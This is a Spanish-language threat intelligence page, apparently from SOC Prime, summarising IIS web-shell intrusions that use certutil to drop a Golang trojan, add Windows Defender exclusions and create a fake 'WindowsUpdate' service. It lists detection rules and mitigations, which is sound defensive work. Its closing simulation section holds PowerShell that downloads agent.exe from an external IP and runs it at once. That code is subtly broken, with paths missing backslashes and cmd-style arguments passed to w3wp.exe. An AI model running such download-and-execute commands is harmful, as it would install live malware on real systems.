SOC Prime Bias: Crítico

29 Dic 2025 12:37

Prueba, Error y Errores Tipográficos: Por qué Algunos Ataques de Malware no son tan ‘Sofisticados’ como Crees

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Prueba, Error y Errores Tipográficos: Por qué Algunos Ataques de Malware no son tan ‘Sofisticados’ como Crees
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El artículo describe tres incidentes separados donde un actor de amenazas utilizó servidores web IIS comprometidos para descargar y ejecutar un troyano basado en Golang (agent.exe) en los puntos finales de las víctimas. Los atacantes intentaron repetidamente la ejecución, usaron certutil para obtener las cargas útiles y luego añadieron exclusiones en Windows Defender antes de intentar establecer persistencia a través de un servicio de Windows. La detección se logró mediante registros de EDR y Sysmon, que capturaron líneas de comando, árboles de procesos y actividad de red. Los ataques ilustran cómo los adversarios se adaptan a los obstáculos defensivos en lugar de seguir un plan perfecto.

Investigación

Los analistas de Huntress examinaron los registros de eventos de Windows, eventos de Sysmon y registros del servidor web IIS para reconstruir la cadena de ataque. Identificaron la ejecución inicial de web-shell a través de w3wp.exe, observaron comandos malformados, repetidos intentos de entrega de carga útil y la creación de un servicio llamado WindowsUpdate que no logró iniciarse. Se recopilaron y correlacionaron múltiples indicadores como rutas de archivos, líneas de comando y conexiones de red a través de los tres incidentes.

Mitigación

Las mitigaciones clave incluyen fortalecer los servidores IIS, restringir la ejecución de web-shell, imponer listas estrictas de aplicaciones permitidas, monitorear el uso anormal de LOLBins como certutil y PowerShell, y asegurar que las exclusiones de Windows Defender no se creen arbitrariamente. También se recomienda el aislamiento rápido de hosts comprometidos y la eliminación de herramientas caídas como GotoHTTP.

Respuesta

Al detectarlo, los respondedores deben aislar el punto final afectado, recopilar registros completos de árboles de procesos y red, eliminar cualquier binario malicioso, revertir las exclusiones no autorizadas de Windows Defender, y verificar los fallos de creación de servicios. Realice una revisión exhaustiva del servidor web en busca de páginas comprometidas y rote todas las credenciales comprometidas.

«graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef technique fill:#c2c2f0 classDef malware fill:#ff9999 %% Node Definitions initial_access[«<b>Acción</b> – <b>T1505.004 Componente de Software del Servidor: Componentes IIS</b><br/>Servidor web IIS público explotado, se implementó web shell a través de w3wp.exe»] web_shell[«<b>Malware</b> – <b>Nombre</b>: Web Shell<br/><b>Archivo</b>: login.aspx»] process_w3wp[«<b>Proceso</b> – <b>Nombre</b>: w3wp.exe<br/><b>Propósito</b>: Alojar aplicación web»] execution[«<b>Acción</b> – <b>T1059.003 Shell de Comandos de Windows</b><br/>Comandos ejecutados como whoami, netstat, ipconfig»] powershell_exec[«<b>Herramienta</b> – <b>Nombre</b>: PowerShell<br/><b>Técnica</b>: T1059.001»] discovery[«<b>Acción</b> – <b>Técnicas de Descubrimiento</b>»] account_discovery[«<b>Técnica</b> – <b>T1087.001 Cuenta Local</b><br/>Cuentas de usuario locales enumeradas»] group_discovery[«<b>Técnica</b> – <b>T1069.001 Grupos Locales</b><br/>Membresías de grupos locales enumeradas»] network_conn_disc[«<b>Técnica</b> – <b>T1049 Escaneo de Servicios de Red</b><br/>Conexiones de red activas identificadas»] internet_conn_disc[«<b>Técnica</b> – <b>T1016.001 Descubrimiento de Conexión a Internet</b><br/>Conectividad externa verificada»] defense_evasion[«<b>Acción</b> – <b>Técnicas de Evasión de Defensa</b>»] certutil[«<b>Herramienta</b> – <b>Nombre</b>: certutil.exe<br/><b>Técnica</b>: T1218 Ejecución de Proxy de Binario del Sistema»] hide_files[«<b>Técnica</b> – <b>T1564.001 Ocultar Artefactos: Archivos y Directorios Ocultos</b><br/>Atributos de sistema y oculto establecidos»] defender_exclusion[«<b>Técnica</b> – <b>T1562 Deshabilitar Defensas</b> y <b>T1564.012 Exclusiones de Rutas de Archivos</b><br/>Exclusiones añadidas a Windows Defender vía PowerShell»] lateral_transfer[«<b>Acción</b> – <b>T1570 Transferencia Lateral de Herramientas</b><br/>Binarios maliciosos copiados desde servidor externo»] malicious_binaries[«<b>Malware</b> – <b>Archivos</b>: agent.exe, 815.exe, dllhost.exe»] persistence[«<b>Acción</b> – <b>T1546.010 Ejecución Activada por Evento: Servicio de Windows</b><br/>Servicio creado ‘WindowsUpdate’ apuntando a dllhost.exe»] service_creation[«<b>Proceso</b> – <b>Nombre</b>: Servicio de Windows ‘WindowsUpdate'»] final_execution[«<b>Acción</b> – <b>Ejecución Final</b><br/>Servicio iniciado, atacante mantiene control»] %% Class Assignments class initial_access action class web_shell malware class process_w3wp process class execution action class powershell_exec tool class discovery action class account_discovery technique class group_discovery technique class network_conn_disc technique class internet_conn_disc technique class defense_evasion action class certutil tool class hide_files technique class defender_exclusion technique class lateral_transfer action class malicious_binaries malware class persistence action class service_creation process class final_execution action %% Connections initial_access u002du002d>|usa| web_shell web_shell u002du002d>|ejecuta en| process_w3wp process_w3wp u002du002d>|habilita| execution execution u002du002d>|usa| powershell_exec execution u002du002d>|conduce a| discovery discovery u002du002d>|incluye| account_discovery discovery u002du002d>|incluye| group_discovery discovery u002du002d>|incluye| network_conn_disc discovery u002du002d>|incluye| internet_conn_disc discovery u002du002d>|conduce a| defense_evasion defense_evasion u002du002d>|usa| certutil defense_evasion u002du002d>|aplica| hide_files defense_evasion u002du002d>|aplica| defender_exclusion defense_evasion u002du002d>|conduce a| lateral_transfer lateral_transfer u002du002d>|transfiere| malicious_binaries malicious_binaries u002du002d>|habilita| persistence persistence u002du002d>|crea| service_creation service_creation u002du002d>|desencadena| final_execution «

Flujo de Ataque

Detecciones

Atribuir la Ejecución para Ocultar Archivos (a través de líneas de comandos)

Equipo de SOC Prime
23 de diciembre de 2025

Ejecutable Sospechoso que Contiene Solo Números en el Nombre (a través de líneas de comandos)

Equipo de SOC Prime
23 de diciembre de 2025

Cambios Sospechosos en Preferencias de Windows Defender (a través de powershell)

Equipo de SOC Prime
23 de diciembre de 2025

Uso de Certutil para Codificación de Datos y Operaciones de Certificados (a través de líneas de comandos)

Equipo de SOC Prime
23 de diciembre de 2025

Archivos Sospechosos en Perfil de Usuario Público (a través de evento de archivo)

Equipo de SOC Prime
23 de diciembre de 2025

Ejecución Sospechosa desde el Perfil de Usuario Público (a través de creación de procesos)

Equipo de SOC Prime
23 de diciembre de 2025

IOCs (IP de Origen) para detectar: Prueba, Error y Errores Tipográficos: Por Qué Algunos Ataques de Malware No son Tan ‘Sofisticados’ Como Crees

Reglas de IA de SOC Prime
23 de diciembre de 2025

IOCs (HashSha256) para detectar: Prueba, Error y Errores Tipográficos: Por Qué Algunos Ataques de Malware No son Tan ‘Sofisticados’ Como Crees

Reglas de IA de SOC Prime
23 de diciembre de 2025

IOCs (IP de Destino) para detectar: Prueba, Error y Errores Tipográficos: Por Qué Algunos Ataques de Malware No son Tan ‘Sofisticados’ Como Crees

Reglas de IA de SOC Prime
23 de diciembre de 2025

Detección de Solicitudes POST Maliciosas en el Servidor Web [Servidor Web]

Reglas de IA de SOC Prime
23 de diciembre de 2025

Detectar Ejecución de Línea de Comandos desde el Proceso del Servidor Web [Creación de Procesos de Windows]

Reglas de IA de SOC Prime
23 de diciembre de 2025

Ejecución de Simulación

Prerequisito: La Verificación Previa de Telemetría y Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:
    Un atacante que ya ha obtenido ejecución de código en un servidor IIS comprometido utiliza el w3wp.exe proceso (el trabajador de IIS) para ejecutar una serie de proxies binarios firmados. Primero, enumeran el estado del sistema y la red (whoami.exe, netstat -an, ipconfig /all). Luego, utilizan certutil.exe para descargar una carga maliciosa (agent.exe) desde un servidor C2 remoto y ejecutarla inmediatamente en el directorio público del usuario. Todos los comandos se emiten a través de cmd.exe /c lanzado bajo el contexto de w3wp.exe, asegurando que el evento de creación del proceso cumpla con las condiciones de la regla.

    # 1. Enumerar información del sistema/usuario
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow
    
    # 2. Descargar carga maliciosa a través de certutil y ejecutarla
    $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe'
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow
  • Script de Prueba de Regresión: El script a continuación automatiza toda la cadena de ataque, reproduciendo la telemetría exacta que debería activar la regla Sigma.

    <#
    .SINOPSIS
        Simula actividad de adversarios que activa la regla Sigma "Detectar Ejecución de Línea de Comandos desde Proceso del Servidor Web".
    .DESCRIPCIÓN
        Ejecuta una serie de comandos de descubrimiento y descarga y ejecución desde el proceso del trabajador de IIS (w3wp.exe).
        Se ejecuta en un host de Windows donde la auditoría de creación de procesos (ID de Evento 4688) está habilitada.
    #>
    
    # Función para invocar un comando a través de w3wp.exe
    function Invoke-W3wpCommand {
        param (
            [Parameter(Mandatory=$true)]
            [string]$CmdLine
        )
        Write-Host "Invocando vía w3wp.exe: $CmdLine"
        Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null
    }
    
    # 1. Comandos de descubrimiento (MITRE T1033, T1016, T1069.001)
    $discoveryCommands = @(
        "whoami.exe",
        "netstat -an",
        "net user admin$",
        "ipconfig /all",
        "net localgroup administrators"
    )
    foreach ($cmd in $discoveryCommands) {
        Invoke-W3wpCommand -CmdLine $cmd
        Start-Sleep -Seconds 2
    }
    
    # 2. Descarga maliciosa y ejecución (MITRE T1218.004)
    $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe'
    Invoke-W3wpCommand -CmdLine $maliciousCmd
  • Comandos de Limpieza: Elimina la carga maliciosa descargada y termina cualquier proceso perdido.

    # Eliminar el binario malicioso del agente
    Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue
    
    # Opcionalmente detener el agente si aún está en ejecución
    Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force